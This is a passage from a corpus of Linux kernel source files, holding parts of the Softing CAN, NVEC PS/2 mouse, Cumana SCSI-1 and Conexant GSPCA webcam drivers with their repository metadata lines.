1, .tseg1_max = 16, .tseg2_min = 1, .tseg2_max = 8, .sjw_max = 4, /* overruled */ .brp_min = 1, .brp_max = 32, /* overruled */ .brp_inc = 1, }; static __devinit struct net_device *softing_netdev_create(struct softing *card, uint16_t chip_id) { struct net_device *netdev; struct softing_priv *priv; netdev = alloc_candev(sizeof(*priv), TX_ECHO_SKB_MAX); if (!netdev) { dev_alert(&card->pdev->dev, "alloc_candev failed\n"); return NULL; } priv = netdev_priv(netdev); priv->netdev = netdev; priv->card = card; memcpy(&priv->btr_const, &softing_btr_const, sizeof(priv->btr_const)); priv->btr_const.brp_max = card->pdat->max_brp; priv->btr_const.sjw_max = card->pdat->max_sjw; priv->can.bittiming_const = &priv->btr_const; priv->can.clock.freq = 8000000; priv->chip = chip_id; priv->output = softing_default_output(netdev); SET_NETDEV_DEV(netdev, &card->pdev->dev); netdev->flags |= IFF_ECHO; netdev->netdev_ops = &softing_netdev_ops; priv->can.do_set_mode = softing_candev_set_mode; priv->can.ctrlmode_supported = CAN_CTRLMODE_3_SAMPLES; return netdev; } static __devinit int softing_netdev_register(struct net_device *netdev) { int ret; netdev->sysfs_groups[0] = &netdev_sysfs_group; ret = register_candev(netdev); if (ret) { dev_alert(&netdev->dev, "register failed\n"); return ret; } return 0; } static void softing_netdev_cleanup(struct net_device *netdev) { unregister_candev(netdev); free_candev(netdev); } /* * sysfs for Platform device */ #define DEV_ATTR_RO(name, member) \ static ssize_t show_##name(struct device *dev, \ struct device_attribute *attr, char *buf) \ { \ struct softing *card = platform_get_drvdata(to_platform_device(dev)); \ return sprintf(buf, "%u\n", card->member); \ } \ static DEVICE_ATTR(name, 0444, show_##name, NULL) #define DEV_ATTR_RO_STR(name, member) \ static ssize_t show_##name(struct device *dev, \ struct device_attribute *attr, char *buf) \ { \ struct softing *card = platform_get_drvdata(to_platform_device(dev)); \ return sprintf(buf, "%s\n", card->member); \ } \ static DEVICE_ATTR(name, 0444, show_##name, NULL) DEV_ATTR_RO(serial, id.serial); DEV_ATTR_RO_STR(firmware, pdat->app.fw); DEV_ATTR_RO(firmware_version, id.fw_version); DEV_ATTR_RO_STR(hardware, pdat->name); DEV_ATTR_RO(hardware_version, id.hw_version); DEV_ATTR_RO(license, id.license); DEV_ATTR_RO(frequency, id.freq); DEV_ATTR_RO(txpending, tx.pending); static struct attribute *softing_pdev_attrs[] = { &dev_attr_serial.attr, &dev_attr_firmware.attr, &dev_attr_firmware_version.attr, &dev_attr_hardware.attr, &dev_attr_hardware_version.attr, &dev_attr_license.attr, &dev_attr_frequency.attr, &dev_attr_txpending.attr, NULL, }; static const struct attribute_group softing_pdev_group = { .name = NULL, .attrs = softing_pdev_attrs, }; /* * platform driver */ static __devexit int softing_pdev_remove(struct platform_device *pdev) { struct softing *card = platform_get_drvdata(pdev); int j; /* first, disable card*/ softing_card_shutdown(card); for (j = 0; j < ARRAY_SIZE(card->net); ++j) { if (!card->net[j]) continue; softing_netdev_cleanup(card->net[j]); card->net[j] = NULL; } sysfs_remove_group(&pdev->dev.kobj, &softing_pdev_group); iounmap(card->dpram); kfree(card); return 0; } static __devinit int softing_pdev_probe(struct platform_device *pdev) { const struct softing_platform_data *pdat = pdev->dev.platform_data; struct softing *card; struct net_device *netdev; struct softing_priv *priv; struct resource *pres; int ret; int j; if (!pdat) { dev_warn(&pdev->dev, "no platform data\n"); return -EINVAL; } if (pdat->nbus > ARRAY_SIZE(card->net)) { dev_warn(&pdev->dev, "%u nets??\n", pdat->nbus); return -EINVAL; } card = kzalloc(sizeof(*card), GFP_KERNEL); if (!card) return -ENOMEM; card->pdat = pdat; card->pdev = pdev; platform_set_drvdata(pdev, card); mutex_init(&card->fw.lock); spin_lock_init(&card->spin); ret = -EINVAL; pres = platform_get_resource(pdev, IORESOURCE_MEM, 0); if (!pres) goto platform_resource_failed; card->dpram_phys = pres->start; card->dpram_size = pres->end - pres->start + 1; card->dpram = ioremap_nocache(card->dpram_phys, card->dpram_size); if (!card->dpram) { dev_alert(&card->pdev->dev, "dpram ioremap failed\n"); goto ioremap_failed; } pres = platform_get_resource(pdev, IORESOURCE_IRQ, 0); if (pres) card->irq.nr = pres->start; /* reset card */ ret = softing_card_boot(card); if (ret < 0) { dev_alert(&pdev->dev, "failed to boot\n"); goto boot_failed; } /* only now, the chip's are known */ card->id.freq = card->pdat->freq; ret = sysfs_create_group(&pdev->dev.kobj, &softing_pdev_group); if (ret < 0) { dev_alert(&card->pdev->dev, "sysfs failed\n"); goto sysfs_failed; } ret = -ENOMEM; for (j = 0; j < ARRAY_SIZE(card->net); ++j) { card->net[j] = netdev = softing_netdev_create(card, card->id.chip[j]); if (!netdev) { dev_alert(&pdev->dev, "failed to make can[%i]", j); goto netdev_failed; } priv = netdev_priv(card->net[j]); priv->index = j; ret = softing_netdev_register(netdev); if (ret) { free_candev(netdev); card->net[j] = NULL; dev_alert(&card->pdev->dev, "failed to register can[%i]\n", j); goto netdev_failed; } } dev_info(&card->pdev->dev, "%s ready.\n", card->pdat->name); return 0; netdev_failed: for (j = 0; j < ARRAY_SIZE(card->net); ++j) { if (!card->net[j]) continue; softing_netdev_cleanup(card->net[j]); } sysfs_remove_group(&pdev->dev.kobj, &softing_pdev_group); sysfs_failed: softing_card_shutdown(card); boot_failed: iounmap(card->dpram); ioremap_failed: platform_resource_failed: kfree(card); return ret; } static struct platform_driver softing_driver = { .driver = { .name = "softing", .owner = THIS_MODULE, }, .probe = softing_pdev_probe, .remove = __devexit_p(softing_pdev_remove), }; MODULE_ALIAS("platform:softing"); static int __init softing_start(void) { return platform_driver_register(&softing_driver); } static void __exit softing_stop(void) { platform_driver_unregister(&softing_driver); } module_init(softing_start); module_exit(softing_stop); MODULE_DESCRIPTION("Softing DPRAM CAN driver"); MODULE_AUTHOR("Kurt Van Dijck <kurt.van.dijck@eia.be>"); MODULE_LICENSE("GPL v2");
kozmikkick/kozmikvigor
drivers/net/can/softing/softing_main.c
C
gpl-2.0
22,062
/* * nvec_ps2: mouse driver for a NVIDIA compliant embedded controller * * Copyright (C) 2011 The AC100 Kernel Team <ac100@lists.launchpad.net> * * Authors: Pierre-Hugues Husson <phhusson@free.fr> * Ilya Petrov <ilya.muromec@gmail.com> * Marc Dietrich <marvin24@gmx.de> * * This file is subject to the terms and conditions of the GNU General Public * License. See the file "COPYING" in the main directory of this archive * for more details. * */ #include <linux/module.h> #include <linux/slab.h> #include <linux/serio.h> #include <linux/delay.h> #include <linux/platform_device.h> #include "nvec.h" #define PACKET_SIZE 6 #define ENABLE_MOUSE 0xf4 #define DISABLE_MOUSE 0xf5 #define PSMOUSE_RST 0xff #ifdef NVEC_PS2_DEBUG #define NVEC_PHD(str, buf, len) \ print_hex_dump(KERN_DEBUG, str, DUMP_PREFIX_NONE, \ 16, 1, buf, len, false) #else #define NVEC_PHD(str, buf, len) #endif enum ps2_subcmds { SEND_COMMAND = 1, RECEIVE_N, AUTO_RECEIVE_N, CANCEL_AUTO_RECEIVE, }; struct nvec_ps2 { struct serio *ser_dev; struct notifier_block notifier; struct nvec_chip *nvec; }; static struct nvec_ps2 ps2_dev; static int ps2_startstreaming(struct serio *ser_dev) { unsigned char buf[] = { NVEC_PS2, AUTO_RECEIVE_N, PACKET_SIZE }; return nvec_write_async(ps2_dev.nvec, buf, sizeof(buf)); } static void ps2_stopstreaming(struct serio *ser_dev) { unsigned char buf[] = { NVEC_PS2, CANCEL_AUTO_RECEIVE }; nvec_write_async(ps2_dev.nvec, buf, sizeof(buf)); } static int ps2_sendcommand(struct serio *ser_dev, unsigned char cmd) { unsigned char buf[] = { NVEC_PS2, SEND_COMMAND, ENABLE_MOUSE, 1 }; buf[2] = cmd & 0xff; dev_dbg(&ser_dev->dev, "Sending ps2 cmd %02x\n", cmd); return nvec_write_async(ps2_dev.nvec, buf, sizeof(buf)); } static int nvec_ps2_notifier(struct notifier_block *nb, unsigned long event_type, void *data) { int i; unsigned char *msg = (unsigned char *)data; switch (event_type) { case NVEC_PS2_EVT: for (i = 0; i < msg[1]; i++) serio_interrupt(ps2_dev.ser_dev, msg[2 + i], 0); NVEC_PHD("ps/2 mouse event: ", &msg[2], msg[1]); return NOTIFY_STOP; case NVEC_PS2: if (msg[2] == 1) { for (i = 0; i < (msg[1] - 2); i++) serio_interrupt(ps2_dev.ser_dev, msg[i + 4], 0); NVEC_PHD("ps/2 mouse reply: ", &msg[4], msg[1] - 2); } else if (msg[1] != 2) /* !ack */ NVEC_PHD("unhandled mouse event: ", msg, msg[1] + 2); return NOTIFY_STOP; } return NOTIFY_DONE; } static int nvec_mouse_probe(struct platform_device *pdev) { struct nvec_chip *nvec = dev_get_drvdata(pdev->dev.parent); struct serio *ser_dev; char mouse_reset[] = { NVEC_PS2, SEND_COMMAND, PSMOUSE_RST, 3 }; ser_dev = kzalloc(sizeof(struct serio), GFP_KERNEL); if (ser_dev == NULL) return -ENOMEM; ser_dev->id.type = SERIO_PS_PSTHRU; ser_dev->write = ps2_sendcommand; ser_dev->start = ps2_startstreaming; ser_dev->stop = ps2_stopstreaming; strlcpy(ser_dev->name, "nvec mouse", sizeof(ser_dev->name)); strlcpy(ser_dev->phys, "nvec", sizeof(ser_dev->phys)); ps2_dev.ser_dev = ser_dev; ps2_dev.notifier.notifier_call = nvec_ps2_notifier; ps2_dev.nvec = nvec; nvec_register_notifier(nvec, &ps2_dev.notifier, 0); serio_register_port(ser_dev); /* mouse reset */ nvec_write_async(nvec, mouse_reset, sizeof(mouse_reset)); return 0; } static int nvec_mouse_remove(struct platform_device *pdev) { struct nvec_chip *nvec = dev_get_drvdata(pdev->dev.parent); ps2_sendcommand(ps2_dev.ser_dev, DISABLE_MOUSE); ps2_stopstreaming(ps2_dev.ser_dev); nvec_unregister_notifier(nvec, &ps2_dev.notifier); serio_unregister_port(ps2_dev.ser_dev); return 0; } #ifdef CONFIG_PM_SLEEP static int nvec_mouse_suspend(struct device *dev) { /* disable mouse */ ps2_sendcommand(ps2_dev.ser_dev, DISABLE_MOUSE); /* send cancel autoreceive */ ps2_stopstreaming(ps2_dev.ser_dev); return 0; } static int nvec_mouse_resume(struct device *dev) { /* start streaming */ ps2_startstreaming(ps2_dev.ser_dev); /* enable mouse */ ps2_sendcommand(ps2_dev.ser_dev, ENABLE_MOUSE); return 0; } #endif static const SIMPLE_DEV_PM_OPS(nvec_mouse_pm_ops, nvec_mouse_suspend, nvec_mouse_resume); static struct platform_driver nvec_mouse_driver = { .probe = nvec_mouse_probe, .remove = nvec_mouse_remove, .driver = { .name = "nvec-mouse", .owner = THIS_MODULE, .pm = &nvec_mouse_pm_ops, }, }; module_platform_driver(nvec_mouse_driver); MODULE_DESCRIPTION("NVEC mouse driver"); MODULE_AUTHOR("Marc Dietrich <marvin24@gmx.de>"); MODULE_ALIAS("platform:nvec-mouse"); MODULE_LICENSE("GPL");
gerard87/kernel_shamu_n_preview
drivers/staging/nvec/nvec_ps2.c
C
gpl-2.0
4,574
/* * Generic Generic NCR5380 driver * * Copyright 1995-2002, Russell King */ #include <linux/module.h> #include <linux/signal.h> #include <linux/ioport.h> #include <linux/delay.h> #include <linux/blkdev.h> #include <linux/init.h> #include <asm/ecard.h> #include <asm/io.h> #include "../scsi.h" #include <scsi/scsi_host.h> #include <scsi/scsicam.h> #define AUTOSENSE #define PSEUDO_DMA #define CUMANASCSI_PUBLIC_RELEASE 1 #define priv(host) ((struct NCR5380_hostdata *)(host)->hostdata) #define NCR5380_local_declare() struct Scsi_Host *_instance #define NCR5380_setup(instance) _instance = instance #define NCR5380_read(reg) cumanascsi_read(_instance, reg) #define NCR5380_write(reg, value) cumanascsi_write(_instance, reg, value) #define NCR5380_intr cumanascsi_intr #define NCR5380_queue_command cumanascsi_queue_command #define NCR5380_implementation_fields \ unsigned ctrl; \ void __iomem *base; \ void __iomem *dma #define BOARD_NORMAL 0 #define BOARD_NCR53C400 1 #include "../NCR5380.h" void cumanascsi_setup(char *str, int *ints) { } const char *cumanascsi_info(struct Scsi_Host *spnt) { return ""; } #define CTRL 0x16fc #define STAT 0x2004 #define L(v) (((v)<<16)|((v) & 0x0000ffff)) #define H(v) (((v)>>16)|((v) & 0xffff0000)) static inline int NCR5380_pwrite(struct Scsi_Host *host, unsigned char *addr, int len) { unsigned long *laddr; void __iomem *dma = priv(host)->dma + 0x2000; if(!len) return 0; writeb(0x02, priv(host)->base + CTRL); laddr = (unsigned long *)addr; while(len >= 32) { unsigned int status; unsigned long v; status = readb(priv(host)->base + STAT); if(status & 0x80) goto end; if(!(status & 0x40)) continue; v=*laddr++; writew(L(v), dma); writew(H(v), dma); v=*laddr++; writew(L(v), dma); writew(H(v), dma); v=*laddr++; writew(L(v), dma); writew(H(v), dma); v=*laddr++; writew(L(v), dma); writew(H(v), dma); v=*laddr++; writew(L(v), dma); writew(H(v), dma); v=*laddr++; writew(L(v), dma); writew(H(v), dma); v=*laddr++; writew(L(v), dma); writew(H(v), dma); v=*laddr++; writew(L(v), dma); writew(H(v), dma); len -= 32; if(len == 0) break; } addr = (unsigned char *)laddr; writeb(0x12, priv(host)->base + CTRL); while(len > 0) { unsigned int status; status = readb(priv(host)->base + STAT); if(status & 0x80) goto end; if(status & 0x40) { writeb(*addr++, dma); if(--len == 0) break; } status = readb(priv(host)->base + STAT); if(status & 0x80) goto end; if(status & 0x40) { writeb(*addr++, dma); if(--len == 0) break; } } end: writeb(priv(host)->ctrl | 0x40, priv(host)->base + CTRL); return len; } static inline int NCR5380_pread(struct Scsi_Host *host, unsigned char *addr, int len) { unsigned long *laddr; void __iomem *dma = priv(host)->dma + 0x2000; if(!len) return 0; writeb(0x00, priv(host)->base + CTRL); laddr = (unsigned long *)addr; while(len >= 32) { unsigned int status; status = readb(priv(host)->base + STAT); if(status & 0x80) goto end; if(!(status & 0x40)) continue; *laddr++ = readw(dma) | (readw(dma) << 16); *laddr++ = readw(dma) | (readw(dma) << 16); *laddr++ = readw(dma) | (readw(dma) << 16); *laddr++ = readw(dma) | (readw(dma) << 16); *laddr++ = readw(dma) | (readw(dma) << 16); *laddr++ = readw(dma) | (readw(dma) << 16); *laddr++ = readw(dma) | (readw(dma) << 16); *laddr++ = readw(dma) | (readw(dma) << 16); len -= 32; if(len == 0) break; } addr = (unsigned char *)laddr; writeb(0x10, priv(host)->base + CTRL); while(len > 0) { unsigned int status; status = readb(priv(host)->base + STAT); if(status & 0x80) goto end; if(status & 0x40) { *addr++ = readb(dma); if(--len == 0) break; } status = readb(priv(host)->base + STAT); if(status & 0x80) goto end; if(status & 0x40) { *addr++ = readb(dma); if(--len == 0) break; } } end: writeb(priv(host)->ctrl | 0x40, priv(host)->base + CTRL); return len; } static unsigned char cumanascsi_read(struct Scsi_Host *host, unsigned int reg) { void __iomem *base = priv(host)->base; unsigned char val; writeb(0, base + CTRL); val = readb(base + 0x2100 + (reg << 2)); priv(host)->ctrl = 0x40; writeb(0x40, base + CTRL); return val; } static void cumanascsi_write(struct Scsi_Host *host, unsigned int reg, unsigned int value) { void __iomem *base = priv(host)->base; writeb(0, base + CTRL); writeb(value, base + 0x2100 + (reg << 2)); priv(host)->ctrl = 0x40; writeb(0x40, base + CTRL); } #include "../NCR5380.c" static struct scsi_host_template cumanascsi_template = { .module = THIS_MODULE, .name = "Cumana 16-bit SCSI", .info = cumanascsi_info, .queuecommand = cumanascsi_queue_command, .eh_abort_handler = NCR5380_abort, .eh_bus_reset_handler = NCR5380_bus_reset, .can_queue = 16, .this_id = 7, .sg_tablesize = SG_ALL, .cmd_per_lun = 2, .use_clustering = DISABLE_CLUSTERING, .proc_name = "CumanaSCSI-1", }; static int cumanascsi1_probe(struct expansion_card *ec, const struct ecard_id *id) { struct Scsi_Host *host; int ret; ret = ecard_request_resources(ec); if (ret) goto out; host = scsi_host_alloc(&cumanascsi_template, sizeof(struct NCR5380_hostdata)); if (!host) { ret = -ENOMEM; goto out_release; } priv(host)->base = ioremap(ecard_resource_start(ec, ECARD_RES_IOCSLOW), ecard_resource_len(ec, ECARD_RES_IOCSLOW)); priv(host)->dma = ioremap(ecard_resource_start(ec, ECARD_RES_MEMC), ecard_resource_len(ec, ECARD_RES_MEMC)); if (!priv(host)->base || !priv(host)->dma) { ret = -ENOMEM; goto out_unmap; } host->irq = ec->irq; NCR5380_init(host, 0); priv(host)->ctrl = 0; writeb(0, priv(host)->base + CTRL); host->n_io_port = 255; if (!(request_region(host->io_port, host->n_io_port, "CumanaSCSI-1"))) { ret = -EBUSY; goto out_unmap; } ret = request_irq(host->irq, cumanascsi_intr, IRQF_DISABLED, "CumanaSCSI-1", host); if (ret) { printk("scsi%d: IRQ%d not free: %d\n", host->host_no, host->irq, ret); goto out_unmap; } printk("scsi%d: at port 0x%08lx irq %d", host->host_no, host->io_port, host->irq); printk(" options CAN_QUEUE=%d CMD_PER_LUN=%d release=%d", host->can_queue, host->cmd_per_lun, CUMANASCSI_PUBLIC_RELEASE); printk("\nscsi%d:", host->host_no); NCR5380_print_options(host); printk("\n"); ret = scsi_add_host(host, &ec->dev); if (ret) goto out_free_irq; scsi_scan_host(host); goto out; out_free_irq: free_irq(host->irq, host); out_unmap: iounmap(priv(host)->base); iounmap(priv(host)->dma); scsi_host_put(host); out_release: ecard_release_resources(ec); out: return ret; } static void cumanascsi1_remove(struct expansion_card *ec) { struct Scsi_Host *host = ecard_get_drvdata(ec); ecard_set_drvdata(ec, NULL); scsi_remove_host(host); free_irq(host->irq, host); NCR5380_exit(host); iounmap(priv(host)->base); iounmap(priv(host)->dma); scsi_host_put(host); ecard_release_resources(ec); } static const struct ecard_id cumanascsi1_cids[] = { { MANU_CUMANA, PROD_CUMANA_SCSI_1 }, { 0xffff, 0xffff } }; static struct ecard_driver cumanascsi1_driver = { .probe = cumanascsi1_probe, .remove = cumanascsi1_remove, .id_table = cumanascsi1_cids, .drv = { .name = "cumanascsi1", }, }; static int __init cumanascsi_init(void) { return ecard_register_driver(&cumanascsi1_driver); } static void __exit cumanascsi_exit(void) { ecard_remove_driver(&cumanascsi1_driver); } module_init(cumanascsi_init); module_exit(cumanascsi_exit); MODULE_DESCRIPTION("Cumana SCSI-1 driver for Acorn machines"); MODULE_LICENSE("GPL");
EPDCenter/android_kernel_rockchip
drivers/scsi/arm/cumana_1.c
C
gpl-2.0
7,863
/* * Connexant Cx11646 library * Copyright (C) 2004 Michel Xhaard mxhaard@magic.fr * * V4L2 by Jean-Francois Moine <http://moinejf.free.fr> * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA */ #define MODULE_NAME "conex" #include "gspca.h" #define CONEX_CAM 1 /* special JPEG header */ #include "jpeg.h" MODULE_AUTHOR("Michel Xhaard <mxhaard@users.sourceforge.net>"); MODULE_DESCRIPTION("GSPCA USB Conexant Camera Driver"); MODULE_LICENSE("GPL"); /* specific webcam descriptor */ struct sd { struct gspca_dev gspca_dev; /* !! must be the first item */ unsigned char brightness; unsigned char contrast; unsigned char colors; u8 quality; #define QUALITY_MIN 30 #define QUALITY_MAX 60 #define QUALITY_DEF 40 u8 jpeg_hdr[JPEG_HDR_SZ]; }; /* V4L2 controls supported by the driver */ static int sd_setbrightness(struct gspca_dev *gspca_dev, __s32 val); static int sd_getbrightness(struct gspca_dev *gspca_dev, __s32 *val); static int sd_setcontrast(struct gspca_dev *gspca_dev, __s32 val); static int sd_getcontrast(struct gspca_dev *gspca_dev, __s32 *val); static int sd_setcolors(struct gspca_dev *gspca_dev, __s32 val); static int sd_getcolors(struct gspca_dev *gspca_dev, __s32 *val); static const struct ctrl sd_ctrls[] = { { { .id = V4L2_CID_BRIGHTNESS, .type = V4L2_CTRL_TYPE_INTEGER, .name = "Brightness", .minimum = 0, .maximum = 255, .step = 1, #define BRIGHTNESS_DEF 0xd4 .default_value = BRIGHTNESS_DEF, }, .set = sd_setbrightness, .get = sd_getbrightness, }, { { .id = V4L2_CID_CONTRAST, .type = V4L2_CTRL_TYPE_INTEGER, .name = "Contrast", .minimum = 0x0a, .maximum = 0x1f, .step = 1, #define CONTRAST_DEF 0x0c .default_value = CONTRAST_DEF, }, .set = sd_setcontrast, .get = sd_getcontrast, }, { { .id = V4L2_CID_SATURATION, .type = V4L2_CTRL_TYPE_INTEGER, .name = "Color", .minimum = 0, .maximum = 7, .step = 1, #define COLOR_DEF 3 .default_value = COLOR_DEF, }, .set = sd_setcolors, .get = sd_getcolors, }, }; static const struct v4l2_pix_format vga_mode[] = { {176, 144, V4L2_PIX_FMT_JPEG, V4L2_FIELD_NONE, .bytesperline = 176, .sizeimage = 176 * 144 * 3 / 8 + 590, .colorspace = V4L2_COLORSPACE_JPEG, .priv = 3}, {320, 240, V4L2_PIX_FMT_JPEG, V4L2_FIELD_NONE, .bytesperline = 320, .sizeimage = 320 * 240 * 3 / 8 + 590, .colorspace = V4L2_COLORSPACE_JPEG, .priv = 2}, {352, 288, V4L2_PIX_FMT_JPEG, V4L2_FIELD_NONE, .bytesperline = 352, .sizeimage = 352 * 288 * 3 / 8 + 590, .colorspace = V4L2_COLORSPACE_JPEG, .priv = 1}, {640, 480, V4L2_PIX_FMT_JPEG, V4L2_FIELD_NONE, .bytesperline = 640, .sizeimage = 640 * 480 * 3 / 8 + 590, .colorspace = V4L2_COLORSPACE_JPEG, .priv = 0}, }; /* the read bytes are found in gspca_dev->usb_buf */ static void reg_r(struct gspca_dev *gspca_dev, __u16 index, __u16 len) { struct usb_device *dev = gspca_dev->dev; #ifdef GSPCA_DEBUG if (len > USB_BUF_SZ) { err("reg_r: buffer overflow"); return; } #endif usb_control_msg(dev, usb_rcvctrlpipe(dev, 0), 0, USB_DIR_IN | USB_TYPE_VENDOR | USB_RECIP_DEVICE, 0, index, gspca_dev->usb_buf, len, 500); PDEBUG(D_USBI, "reg read [%02x] -> %02x ..", index, gspca_dev->usb_buf[0]); } /* the bytes to write are in gspca_dev->usb_buf */ static void reg_w_val(struct gspca_dev *gspca_dev, __u16 index, __u8 val) { struct usb_device *dev = gspca_dev->dev; gspca_dev->usb_buf[0] = val; usb_control_msg(dev, usb_sndctrlpipe(dev, 0), 0, USB_DIR_OUT | USB_TYPE_VENDOR | USB_RECIP_DEVICE, 0, index, gspca_dev->usb_buf, 1, 500); } static void reg_w(struct gspca_dev *gspca_dev, __u16 index, const __u8 *buffer, __u16 len) { struct usb_device *dev = gspca_dev->dev; #ifdef GSPCA_DEBUG if (len > USB_BUF_SZ) { err("reg_w: buffer overflow"); return; } PDEBUG(D_USBO, "reg write [%02x] = %02x..", index, *buffer); #endif memcpy(gspca_dev->usb_buf, buffer, len); usb_control_msg(dev, usb_sndctrlpipe(dev, 0), 0, USB_DIR_OUT | USB_TYPE_VENDOR | USB_RECIP_DEVICE, 0, index, gspca_dev->usb_buf, len, 500); } static const __u8 cx_sensor_init[][4] = { {0x88, 0x11, 0x01, 0x01}, {0x88, 0x12, 0x70, 0x01}, {0x88, 0x0f, 0x00, 0x01}, {0x88, 0x05, 0x01, 0x01}, {} }; static const __u8 cx11646_fw1[][3] = { {0x00, 0x02, 0x00}, {0x01, 0x43, 0x00}, {0x02, 0xA7, 0x00}, {0x03, 0x8B, 0x01}, {0x04, 0xE9, 0x02}, {0x05, 0x08, 0x04}, {0x06, 0x08, 0x05}, {0x07, 0x07, 0x06}, {0x08, 0xE7, 0x06}, {0x09, 0xC6, 0x07}, {0x0A, 0x86, 0x08}, {0x0B, 0x46, 0x09}, {0x0C, 0x05, 0x0A}, {0x0D, 0xA5, 0x0A}, {0x0E, 0x45, 0x0B}, {0x0F, 0xE5, 0x0B}, {0x10, 0x85, 0x0C}, {0x11, 0x25, 0x0D}, {0x12, 0xC4, 0x0D}, {0x13, 0x45, 0x0E}, {0x14, 0xE4, 0x0E}, {0x15, 0x64, 0x0F}, {0x16, 0xE4, 0x0F}, {0x17, 0x64, 0x10}, {0x18, 0xE4, 0x10}, {0x19, 0x64, 0x11}, {0x1A, 0xE4, 0x11}, {0x1B, 0x64, 0x12}, {0x1C, 0xE3, 0x12}, {0x1D, 0x44, 0x13}, {0x1E, 0xC3, 0x13}, {0x1F, 0x24, 0x14}, {0x20, 0xA3, 0x14}, {0x21, 0x04, 0x15}, {0x22, 0x83, 0x15}, {0x23, 0xE3, 0x15}, {0x24, 0x43, 0x16}, {0x25, 0xA4, 0x16}, {0x26, 0x23, 0x17}, {0x27, 0x83, 0x17}, {0x28, 0xE3, 0x17}, {0x29, 0x43, 0x18}, {0x2A, 0xA3, 0x18}, {0x2B, 0x03, 0x19}, {0x2C, 0x63, 0x19}, {0x2D, 0xC3, 0x19}, {0x2E, 0x22, 0x1A}, {0x2F, 0x63, 0x1A}, {0x30, 0xC3, 0x1A}, {0x31, 0x23, 0x1B}, {0x32, 0x83, 0x1B}, {0x33, 0xE2, 0x1B}, {0x34, 0x23, 0x1C}, {0x35, 0x83, 0x1C}, {0x36, 0xE2, 0x1C}, {0x37, 0x23, 0x1D}, {0x38, 0x83, 0x1D}, {0x39, 0xE2, 0x1D}, {0x3A, 0x23, 0x1E}, {0x3B, 0x82, 0x1E}, {0x3C, 0xC3, 0x1E}, {0x3D, 0x22, 0x1F}, {0x3E, 0x63, 0x1F}, {0x3F, 0xC1, 0x1F}, {} }; static void cx11646_fw(struct gspca_dev*gspca_dev) { int i = 0; reg_w_val(gspca_dev, 0x006a, 0x02); while (cx11646_fw1[i][1]) { reg_w(gspca_dev, 0x006b, cx11646_fw1[i], 3); i++; } reg_w_val(gspca_dev, 0x006a, 0x00); } static const __u8 cxsensor[] = { 0x88, 0x12, 0x70, 0x01, 0x88, 0x0d, 0x02, 0x01, 0x88, 0x0f, 0x00, 0x01, 0x88, 0x03, 0x71, 0x01, 0x88, 0x04, 0x00, 0x01, /* 3 */ 0x88, 0x02, 0x10, 0x01, 0x88, 0x00, 0xD4, 0x01, 0x88, 0x01, 0x01, 0x01, /* 5 */ 0x88, 0x0B, 0x00, 0x01, 0x88, 0x0A, 0x0A, 0x01, 0x88, 0x00, 0x08, 0x01, 0x88, 0x01, 0x00, 0x01, /* 8 */ 0x88, 0x05, 0x01, 0x01, 0xA1, 0x18, 0x00, 0x01, 0x00 }; static const __u8 reg20[] = { 0x10, 0x42, 0x81, 0x19, 0xd3, 0xff, 0xa7, 0xff }; static const __u8 reg28[] = { 0x87, 0x00, 0x87, 0x00, 0x8f, 0xff, 0xea, 0xff }; static const __u8 reg10[] = { 0xb1, 0xb1 }; static const __u8 reg71a[] = { 0x08, 0x18, 0x0a, 0x1e }; /* 640 */ static const __u8 reg71b[] = { 0x04, 0x0c, 0x05, 0x0f }; /* 352{0x04,0x0a,0x06,0x12}; //352{0x05,0x0e,0x06,0x11}; //352 */ static const __u8 reg71c[] = { 0x02, 0x07, 0x03, 0x09 }; /* 320{0x04,0x0c,0x05,0x0f}; //320 */ static const __u8 reg71d[] = { 0x02, 0x07, 0x03, 0x09 }; /* 176 */ static const __u8 reg7b[] = { 0x00, 0xff, 0x00, 0xff, 0x00, 0xff }; static void cx_sensor(struct gspca_dev*gspca_dev) { int i = 0; int length; const __u8 *ptsensor = cxsensor; reg_w(gspca_dev, 0x0020, reg20, 8); reg_w(gspca_dev, 0x0028, reg28, 8); reg_w(gspca_dev, 0x0010, reg10, 8); reg_w_val(gspca_dev, 0x0092, 0x03); switch (gspca_dev->cam.cam_mode[(int) gspca_dev->curr_mode].priv) { case 0: reg_w(gspca_dev, 0x0071, reg71a, 4); break; case 1: reg_w(gspca_dev, 0x0071, reg71b, 4); break; default: /* case 2: */ reg_w(gspca_dev, 0x0071, reg71c, 4); break; case 3: reg_w(gspca_dev, 0x0071, reg71d, 4); break; } reg_w(gspca_dev, 0x007b, reg7b, 6); reg_w_val(gspca_dev, 0x00f8, 0x00); reg_w(gspca_dev, 0x0010, reg10, 8); reg_w_val(gspca_dev, 0x0098, 0x41); for (i = 0; i < 11; i++) { if (i == 3 || i == 5 || i == 8) length = 8; else length = 4; reg_w(gspca_dev, 0x00e5, ptsensor, length); if (length == 4) reg_r(gspca_dev, 0x00e8, 1); else reg_r(gspca_dev, 0x00e8, length); ptsensor += length; } reg_r(gspca_dev, 0x00e7, 8); } static const __u8 cx_inits_176[] = { 0x33, 0x81, 0xB0, 0x00, 0x90, 0x00, 0x0A, 0x03, /* 176x144 */ 0x00, 0x03, 0x03, 0x03, 0x1B, 0x05, 0x30, 0x03, 0x65, 0x15, 0x18, 0x25, 0x03, 0x25, 0x08, 0x30, 0x3B, 0x25, 0x10, 0x00, 0x04, 0x00, 0x00, 0x00, 0xDC, 0xFF, 0xEE, 0xFF, 0xC5, 0xFF, 0xBF, 0xFF, 0xF7, 0xFF, 0x88, 0xFF, 0x66, 0x02, 0x28, 0x02, 0x1E, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; static const __u8 cx_inits_320[] = { 0x7f, 0x7f, 0x40, 0x01, 0xf0, 0x00, 0x02, 0x01, 0x00, 0x01, 0x01, 0x01, 0x10, 0x00, 0x02, 0x01, 0x65, 0x45, 0xfa, 0x4c, 0x2c, 0xdf, 0xb9, 0x81, 0x30, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0xe2, 0xff, 0xf1, 0xff, 0xc2, 0xff, 0xbc, 0xff, 0xf5, 0xff, 0x6d, 0xff, 0xf6, 0x01, 0x43, 0x02, 0xd3, 0x03, 0x00, 0x00, 